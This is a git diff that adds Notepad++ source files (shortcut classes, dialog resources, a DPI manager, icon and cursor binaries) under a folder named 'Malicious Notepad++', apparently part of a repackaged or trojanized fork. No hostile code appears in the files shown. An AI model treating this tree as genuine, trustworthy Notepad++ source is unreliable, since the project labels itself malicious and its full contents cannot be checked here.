_sParameter = (sParam)?generic_string(sParam):TEXT(""); + }; + + bool isValid() const { + return true; + }; + bool isPlayable() const {return _macroType <= mtMenuCommand;}; + + void PlayBack(Window* pNotepad, ScintillaEditView *pEditView); +}; + +typedef std::vector Macro; + +class MacroShortcut : public CommandShortcut { +friend class NppParameters; +public: + MacroShortcut(Shortcut sc, Macro macro, int id) : CommandShortcut(sc, id), _macro(macro) {_canModifyName = true;}; + Macro & getMacro() {return _macro;}; +private: + Macro _macro; +}; + + +class UserCommand : public CommandShortcut { +friend class NppParameters; +public: + UserCommand(Shortcut sc, const TCHAR *cmd, int id) : CommandShortcut(sc, id), _cmd(cmd) {_canModifyName = true;}; + const TCHAR* getCmd() const {return _cmd.c_str();}; +private: + generic_string _cmd; +}; + +class PluginCmdShortcut : public CommandShortcut { +//friend class NppParameters; +public: + PluginCmdShortcut(Shortcut sc, int id, const TCHAR *moduleName, unsigned short internalID) :\ + CommandShortcut(sc, id), _id(id), _moduleName(moduleName), _internalID(internalID) {}; + bool isValid() const { + if (!Shortcut::isValid()) + return false; + if ((!_moduleName[0]) || (_internalID == -1)) + return false; + return true; + } + const TCHAR * getModuleName() const {return _moduleName.c_str();}; + int getInternalID() const {return _internalID;}; + unsigned long getID() const {return _id;}; + +private : + unsigned long _id; + generic_string _moduleName; + int _internalID; +}; + +class Accelerator { //Handles accelerator keys for Notepad++ menu, including custom commands +friend class ShortcutMapper; +public: + Accelerator() {}; + ~Accelerator() { + if (_hAccTable) + ::DestroyAcceleratorTable(_hAccTable); + if (_hIncFindAccTab) + ::DestroyAcceleratorTable(_hIncFindAccTab); + if (_hFindAccTab) + ::DestroyAcceleratorTable(_hFindAccTab); + if (_pAccelArray) + delete [] _pAccelArray; + }; + void init(HMENU hMenu, HWND menuParent) { + _hAccelMenu = hMenu; + _hMenuParent = menuParent; + updateShortcuts(); + }; + HACCEL getAccTable() const {return _hAccTable;}; + HACCEL getIncrFindAccTable() const { return _hIncFindAccTab; }; + HACCEL getFindAccTable() const { return _hFindAccTab; }; + + void updateShortcuts(); + void updateFullMenu(); + +private: + HMENU _hAccelMenu = nullptr; + HWND _hMenuParent = nullptr; + HACCEL _hAccTable = nullptr; + HACCEL _hIncFindAccTab = nullptr; + HACCEL _hFindAccTab = nullptr; + ACCEL *_pAccelArray = nullptr; + int _nbAccelItems = 0; + + void updateMenuItemByCommand(CommandShortcut csc); +}; + +class ScintillaAccelerator { //Handles accelerator keys for scintilla +public: + ScintillaAccelerator() {}; + void init(std::vector * vScintillas, HMENU hMenu, HWND menuParent); + void updateKeys(); + size_t nbScintillas() { return _vScintillas.size(); }; +private: + HMENU _hAccelMenu = nullptr; + HWND _hMenuParent = nullptr; + std::vector _vScintillas; + + void updateMenuItemByID(ScintillaKeyMap skm, int id); +}; diff --git a/Malicious Notepad++/src/WinControls/shortcut/shortcut.rc b/Malicious Notepad++/src/WinControls/shortcut/shortcut.rc new file mode 100644 index 0000000..8549e88 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/shortcut/shortcut.rc @@ -0,0 +1,88 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "shortcutRc.h" + +#ifndef IDC_STATIC +#define IDC_STATIC -1 +#endif + +IDD_SHORTCUT_DLG DIALOGEX 0, 0, 180, 102 +STYLE DS_SETFONT | /*DS_MODALFRAME |*/ DS_FIXEDSYS | WS_POPUP | WS_CAPTION | + WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW +CAPTION "Shortcut" +FONT 8, TEXT("MS Shell Dlg"), 400, 0, 0x1 +BEGIN + CONTROL "CTRL",IDC_CTRL_CHECK,"Button",BS_AUTOCHECKBOX | + WS_TABSTOP,12,30,33,10 + CONTROL "ALT",IDC_ALT_CHECK,"Button",BS_AUTOCHECKBOX | + WS_TABSTOP,12,51,28,10 + CONTROL "SHIFT",IDC_SHIFT_CHECK,"Button",BS_AUTOCHECKBOX | + WS_TABSTOP,57,42,35,10 + COMBOBOX IDC_KEY_COMBO,110,40,64,270,CBS_DROPDOWNLIST | + WS_VSCROLL | WS_TABSTOP + PUSHBUTTON "OK",IDOK,32,74,50,14 + PUSHBUTTON "Cancel",IDCANCEL,103,73,50,14 + LTEXT "+",IDC_STATIC,45,42,8,8 + LTEXT "+",IDC_STATIC,96,42,8,8 + EDITTEXT IDC_NAME_EDIT,56,9,118,14,ES_AUTOHSCROLL + LTEXT "Name :",IDC_NAME_STATIC,15,12,34,8,0,WS_EX_RIGHT + LTEXT "This will disable the accelerator!",IDC_WARNING_STATIC,6,91,170,8 + LTEXT "CONFLICT FOUND!",IDC_CONFLICT_STATIC,6,91,170,8 +END + +IDD_SHORTCUTSCINT_DLG DIALOGEX 0, 0, 286, 114 +STYLE DS_SETFONT | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW +CAPTION "Shortcut" +FONT 8, TEXT("MS Shell Dlg"), 400, 0, 0x1 +BEGIN + CONTROL "CTRL",IDC_CTRL_CHECK,"Button",BS_AUTOCHECKBOX | + WS_TABSTOP,114,27,33,10 + CONTROL "ALT",IDC_ALT_CHECK,"Button",BS_AUTOCHECKBOX | + WS_TABSTOP,114,48,28,10 + CONTROL "SHIFT",IDC_SHIFT_CHECK,"Button",BS_AUTOCHECKBOX | + WS_TABSTOP,159,39,35,10 + COMBOBOX IDC_KEY_COMBO,212,37,64,270,CBS_DROPDOWNLIST | + WS_VSCROLL | WS_TABSTOP + PUSHBUTTON "OK",IDOK,144,78,48,14 + PUSHBUTTON "Cancel",IDCANCEL,210,78,48,14 + LTEXT "+",IDC_STATIC,147,39,8,8 + LTEXT "+",IDC_STATIC,198,39,8,8 + EDITTEXT IDC_NAME_EDIT,158,6,118,14,ES_AUTOHSCROLL | ES_READONLY + LTEXT "Name :",IDC_NAME_STATIC,117,9,34,8,0,WS_EX_RIGHT + LTEXT "This will remove the accelerator!",IDC_WARNING_STATIC,114,99,162,8 + LTEXT "CONFLICT FOUND!",IDC_CONFLICT_STATIC,114,99,162,8 + LISTBOX IDC_LIST_KEYS,6,6,90,72,LBS_NOINTEGRALHEIGHT | + WS_VSCROLL | WS_TABSTOP + PUSHBUTTON "Add",IDC_BUTTON_ADD,6,84,42,14 + PUSHBUTTON "Remove",IDC_BUTTON_RMVE,56,84,40,14 + PUSHBUTTON "Apply",IDC_BUTTON_APPLY,210,60,48,14 +END diff --git a/Malicious Notepad++/src/WinControls/shortcut/shortcutRc.h b/Malicious Notepad++/src/WinControls/shortcut/shortcutRc.h new file mode 100644 index 0000000..a1dafc5 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/shortcut/shortcutRc.h @@ -0,0 +1,46 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef IDD_SHORTCUT_DLG +#define IDD_SHORTCUT_DLG 5000 + +#define IDD_SHORTCUTSCINT_DLG 5001 + +#define IDC_CTRL_CHECK (IDD_SHORTCUT_DLG + 1) +#define IDC_ALT_CHECK (IDD_SHORTCUT_DLG + 2) +#define IDC_SHIFT_CHECK (IDD_SHORTCUT_DLG + 3) +#define IDC_KEY_COMBO (IDD_SHORTCUT_DLG + 4) +#define IDC_NAME_EDIT (IDD_SHORTCUT_DLG + 5) +#define IDC_NAME_STATIC (IDD_SHORTCUT_DLG + 6) +#define IDC_WARNING_STATIC (IDD_SHORTCUT_DLG + 7) +#define IDC_BUTTON_ADD (IDD_SHORTCUT_DLG + 8) +#define IDC_BUTTON_RMVE (IDD_SHORTCUT_DLG + 9) +#define IDC_BUTTON_APPLY (IDD_SHORTCUT_DLG + 10) +#define IDC_LIST_KEYS (IDD_SHORTCUT_DLG + 11) +#define IDC_CONFLICT_STATIC (IDD_SHORTCUT_DLG + 12) +#endif //IDD_SHORTCUT_DLG diff --git a/Malicious Notepad++/src/clipboardFormats.h b/Malicious Notepad++/src/clipboardFormats.h new file mode 100644 index 0000000..4dd3de7 --- /dev/null +++ b/Malicious Notepad++/src/clipboardFormats.h @@ -0,0 +1,36 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef CLIPBOARDFORMATS_H +#define CLIPBOARDFORMATS_H + +#define CF_HTML TEXT("HTML Format") +#define CF_RTF TEXT("Rich Text Format") +#define CF_NPPTEXTLEN TEXT("Notepad++ Binary Text Length") + +#endif //CLIPBOARDFORMATS_H diff --git a/Malicious Notepad++/src/contextMenu.xml b/Malicious Notepad++/src/contextMenu.xml new file mode 100644 index 0000000..816c873 --- /dev/null +++ b/Malicious Notepad++/src/contextMenu.xml @@ -0,0 +1,73 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Malicious Notepad++/src/cursors/drag.cur b/Malicious Notepad++/src/cursors/drag.cur new file mode 100644 index 0000000000000000000000000000000000000000..1258fb79efdb351ff4832c7b7427de42148c0870 GIT binary patch literal 766 zcmbu5u?~VT5Qcx$1QSilM@#H`#n85+6p#8VB9Z|B8jSiwPFK-u?XTaV@Yw zfu^aj#Rm5Uumi9s4LOnmE6#wW7e*BlA1zHL)((L)Q}lh$sD}6#BAO9C`bnp`!?<*3 zuJh8FPL~^G+NH}))+x2b|5qK_DciQC9&PnVurcV-hIx0Lkuvq&YtrhQNbA2O()8Dt zNYj_h@BZ<%+}I6#{}Nr7o=42I!0So=$aM2CZVcBiXC8n&S?fVuO$xH)wU)$?dIksX KIT4m(IUOGlmCRHC literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/cursors/drag_interdit.cur b/Malicious Notepad++/src/cursors/drag_interdit.cur new file mode 100644 index 0000000000000000000000000000000000000000..f4ca240aa4b5f3aa6db7d821b8b12a90854c8e27 GIT binary patch literal 766 zcmbtSL5{*O44hIV4tod^64&;~FS<|S2joVd)gSPMh{I}c5d4GQ8ss~p|vqhzkKW2kVgx{iLVxXvauA9-s2uFia0E{&|aa==Vzj8_T9 z@A3;zGxIso9y7S}h4|@i?%c&T450}vvEm=)CZHpR8i8EFA%+{laR&)cI4~v>8ltt& F{sW33;;H}u literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/cursors/drag_out.cur b/Malicious Notepad++/src/cursors/drag_out.cur new file mode 100644 index 0000000000000000000000000000000000000000..211032043dbe2d308a9cb57f5152f8a29d2743df GIT binary patch literal 2238 zcmajgF-#*z6oBDJF49C+M6_6nF!;zR#wbX^6ukta&d7X7dIC&`r}t}H8JiIF$Uuz znHatp{bS_A`}fix8EFrUob-(xc8%bXeyRHRrDDeOsqi0|QB_&UCV zFJbqIUHle)6Q9Rt@YHR$@hA90{0=^kbqB%=UhsmKJsIMA_!hp7ui#7gef+N6$QFJR zpT}qLBm4m0$9M4^d=uZqH}F+_8DGQ~@CI-225;~NZ}9fI;X3C!<*IP)IX}V=@O^w2 z-@)7JO>_fYMVHY-9VzJND)gEx4C zH+X~RKsOxdoX2&_M_&&ai@8D_9oCfu2M4LDv4v8HiPt0r3 zcs!Qd+grK5zLu-2E4jS9l(VxlX*Qek?%g|SG#YYzd@R*!RgR91q+Bk`!NGwPi$&Sq z-j+h4AR8MSva+%wi;IiA5&tuSbjps&Bp$2hs7~Ea$K9QSaXNYmwTi~^Wb!eUx_fXI zPU7^~*3%wi$qzz3QoxU?PmlG|v%EFQ@cmG$@i>P4{ns=3ne%)`5uKsKLJZFAH+%CXK+NV!l%o9Pe(~Uj8vp_q$x37pOkmEXZNSN@24hVGI54! zFv}-;X`G8)FTi$z7bacQp4K|lK@jC~*-z}TM9yyHcDMJ(xwQ_oikCClm+BYp*Nvon zl2=*_K-OB05Xx(k0{mEnAmUoxiBkK+srrg7`&o{YS z9ydQ>7$kSGc7Hbon)oIg%^A?Xt*>~vKCPhweRvA&dIvZ|6sh!Nl8Uny z+$R;t+tX3PMl@lFtiN?|R z{@$&($4U;SReG8hiPPV|enXS&>ZExi{--^p0dIbIoz$B1`K?X!x7*YdAuk9~#EU0k o|2>PZn9t%H=CgRq{JF4s>!&rpT&T$!@s{}M=bD(`+4|3a0r&!FA^-pY literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/cursors/drag_plus.cur b/Malicious Notepad++/src/cursors/drag_plus.cur new file mode 100644 index 0000000000000000000000000000000000000000..545d771ded230e8be6bf7ae7c2d99b21ca85e3e7 GIT binary patch literal 766 zcmbu7u};H442J)-NI{~)ofsh_Zvk(WkxVEXuN3hxi1APdm@uEyTypJDRB-a&`OojO zeO9EEDmBek8(ryrCEZB62Mu@xl`dGN4lUa@JLBFV;&k19W5v}l4D2EJ_{u#zz!RTh zIm3ugbGRjWI>AXz@Dd;Oig=C}+%)nzzoo;@?5IgjXgpAl-tBnXZ{z4Pt(Gf4~E0o&c#x7xn`yAl!xk literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/dpiAware.manifest b/Malicious Notepad++/src/dpiAware.manifest new file mode 100644 index 0000000..da6fae4 --- /dev/null +++ b/Malicious Notepad++/src/dpiAware.manifest @@ -0,0 +1,9 @@ + + + + + true + + + \ No newline at end of file diff --git a/Malicious Notepad++/src/dpiManager.h b/Malicious Notepad++/src/dpiManager.h new file mode 100644 index 0000000..ea31614 --- /dev/null +++ b/Malicious Notepad++/src/dpiManager.h @@ -0,0 +1,124 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#ifndef DPIMANAGER_H +#define DPIMANAGER_H + +class DPIManager +{ +public: + DPIManager() { + init(); + }; + + // Get screen DPI. + int getDPIX() { return _dpiX; }; + int getDPIY() { return _dpiY; }; + + // Convert between raw pixels and relative pixels. + int scaleX(int x) { return MulDiv(x, _dpiX, 96); }; + int scaleY(int y) { return MulDiv(y, _dpiY, 96); }; + int unscaleX(int x) { return MulDiv(x, 96, _dpiX); }; + int unscaleY(int y) { return MulDiv(y, 96, _dpiY); }; + + // Determine the screen dimensions in relative pixels. + int scaledScreenWidth() { return scaledSystemMetricX(SM_CXSCREEN); } + int scaledScreenHeight() { return scaledSystemMetricY(SM_CYSCREEN); } + + // Scale rectangle from raw pixels to relative pixels. + void scaleRect(__inout RECT *pRect) { + pRect->left = scaleX(pRect->left); + pRect->right = scaleX(pRect->right); + pRect->top = scaleY(pRect->top); + pRect->bottom = scaleY(pRect->bottom); + } + + // Scale Point from raw pixels to relative pixels. + void scalePoint(__inout POINT *pPoint) + { + pPoint->x = scaleX(pPoint->x); + pPoint->y = scaleY(pPoint->y); + } + + // Scale Size from raw pixels to relative pixels. + void scaleSize(__inout SIZE *pSize) + { + pSize->cx = scaleX(pSize->cx); + pSize->cy = scaleY(pSize->cy); + } + + // Determine if screen resolution meets minimum requirements in relative pixels. + bool isResolutionAtLeast(int cxMin, int cyMin) + { + return (scaledScreenWidth() >= cxMin) && (scaledScreenHeight() >= cyMin); + } + + // Convert a point size (1/72 of an inch) to raw pixels. + int pointsToPixels(int pt) { return MulDiv(pt, _dpiY, 72); }; + + // Invalidate any cached metrics. + void Invalidate() { init(); }; + +private: + // X and Y DPI values are provided, though to date all + // Windows OS releases have equal X and Y scale values + int _dpiX; + int _dpiY; + + + void init() { + HDC hdc = GetDC(NULL); + if (hdc) + { + // Initialize the DPIManager member variable + // This will correspond to the DPI setting + // With all Windows OS's to date the X and Y DPI will be identical + _dpiX = GetDeviceCaps(hdc, LOGPIXELSX); + _dpiY = GetDeviceCaps(hdc, LOGPIXELSY); + ReleaseDC(NULL, hdc); + } + }; + + // This returns a 96-DPI scaled-down equivalent value for nIndex + // For example, the value 120 at 120 DPI setting gets scaled down to 96 + // X and Y versions are provided, though to date all Windows OS releases + // have equal X and Y scale values + int scaledSystemMetricX(int nIndex) { + return MulDiv(GetSystemMetrics(nIndex), 96, _dpiX); + }; + + // This returns a 96-DPI scaled-down equivalent value for nIndex + // For example, the value 120 at 120 DPI setting gets scaled down to 96 + // X and Y versions are provided, though to date all Windows OS releases + // have equal X and Y scale values + int scaledSystemMetricY(int nIndex) + { + return MulDiv(GetSystemMetrics(nIndex), 96, _dpiY); + } +}; + +#endif //DPIMANAGER_H \ No newline at end of file diff --git a/Malicious Notepad++/src/functionList.xml b/Malicious Notepad++/src/functionList.xml new file mode 100644 index 0000000..65d71c5 --- /dev/null +++ b/Malicious Notepad++/src/functionList.xml @@ -0,0 +1,1301 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Malicious Notepad++/src/icons/allChars_off.ico b/Malicious Notepad++/src/icons/allChars_off.ico new file mode 100644 index 0000000000000000000000000000000000000000..425a9adfb87b20d21a30b4b4f59e7b6d8ce596b6 GIT binary patch literal 4022 zcmeHKF;c@Y5WFOm3`3dH6+`bT9k0nZ&^Po0p5X`RA(VLl!?E&Vaam?eMx#K1E;@PF zx?9C3$&-j|WGlmPFWFwVA`iF@LuMi`w<32tkw@SG{siC14SJD)*u^Y+VF81{A=m{y zpiI+*YaY_v$Bp&zlyQWyymrQj7> z660|!4e{l^>ke=a{Ha~;^XFkL63@VDXxlb+L1>&R!y+iOOfzPQpwJju zhDA_lnP$uqL7_3S42z)9GR>GJf-Ds> zw4{E&ufbrTuRl(;yu7T9jSa1>t!Z_2RVyni8a;Ncue)C9Kz>^F>ENdhW;4Bf_a2i> z7*U8ipJud-meF$4U}#GW-540Up&NSJR?rK2VN%cwI-M$dMX%@;p`tr;XYMteGi@e$ zCQ)Wn=B2})Cc}_n$S`CW0tto;Lxv&4kYNZ+7%~hQh73c7A<$vSFk~1q3>k*(XmDgW za^s-3Pz8n28Y~8j!4j_wi(zgU8A%P6C<70Tfx%+1L|Nc4I1CPh!{CTg!C^2M35ZEkLAYimo}+uPdN z+0p*~zV`O^ba;5EqoX4oA0O-FL g&GhfiFQq4)+xYxkdhzjYJbNmA=<%NX!)$wg164e^CjbBd literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/chameleon.ico b/Malicious Notepad++/src/icons/chameleon.ico new file mode 100644 index 0000000000000000000000000000000000000000..636c56c5e3df9d130e51081fe93c0ee3b3d2826e GIT binary patch literal 5694 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 Qpd7Y=GdYW_MAlX!D`$~NBuf<%iNqq2 z$hZ4wS30r(pf@@1-5=+^`{0Jz`{V?5OxnPZGG!+Lr&~kVZuQD@QV;|P!w^vv0kasG z$GH9=ea6^qHnb6C?>eb5o2KDRGK4O)>Q{WLXBdIaWaqKg^NmIdK8Y zE3gg=6h#4eC9o`^kfwf#vMk|#Rq%oeepI2VDym^nxRwmoiebKH2vdeAV_>XN9Do1e zL+_Y3b2`rAIE(-O0lBa4;#?9XMV3`(8+!NVuGhZWvt+$I-S#BThGA%$_)2y6;@N9mAmo}y7lF> literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/closeTabButton.bmp b/Malicious Notepad++/src/icons/closeTabButton.bmp new file mode 100644 index 0000000000000000000000000000000000000000..211027e7ceae08f909eb779dc79c64276637cba8 GIT binary patch literal 450 zcmYLD+fKqj6qILwz)$cC`~ctm1OrI4v`tVh#a6n#1gN(*s04{rSxX5fw%y&97#}tM zSUsUlIoUm#nVrne;n81dXEO(|_u=m5x3sgj(e346P=yyA;lyM6Wxn--=Nqk%gpvN?XS`P18YxI9&z+=0S)~v0-_BM8!EvP5tI}KQriFuq6QO5l$8rzxiv0H z{15{gqC`{O%k(&fCcT+^=bUrT%-nG;zu0Y~n4xuw=7gDc+vG@ZnEeqki(JW6U-yQw(@Y;M>bFhO#?SuN9>>m>u1{1>#k;HN&p^%-LzFpHfMQ8TN^y&Z| zEQPTtVjSr*q$ZBqCJo8@9H&v@7a-(Jk#5D7g<}=n8~=rjXd1gEWEHD5M&bo{RcC~6 zN|Sj=RbypU%O)s@l@QMB%+@DW_f@EuD4kh`G4hKDrpO}Kr!yDpIKQzB@dFF9apGBj zqx|$5?FUnrDo7Q;XHB{$kcB{x&U|~1$0wuG+bUO(8#p{cMnOVCC`nvwj~;mLpmm3G X(|9yjM&{V~CN)IT@bRSD{GpzI|CuA7 literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/closeTabButton_inact.bmp b/Malicious Notepad++/src/icons/closeTabButton_inact.bmp new file mode 100644 index 0000000000000000000000000000000000000000..948cd6390d30b6c0db974ad9f359bed88ff2b7c0 GIT binary patch literal 450 zcmYk2IdX$Q5Jg3-(20-W6X*cSeKSQA`;Lo!CxM6n-NLu=Gc8TgRXx?y^Z5On`}b43 z9C73PBCoI1E}uvL!TSfz|9rIT zAaGq542El#Wxq!hMUm&Zy86D48VmwuSqj5>uEQ{7C=4Igb=|hD!laOin1rdSs_Qx! 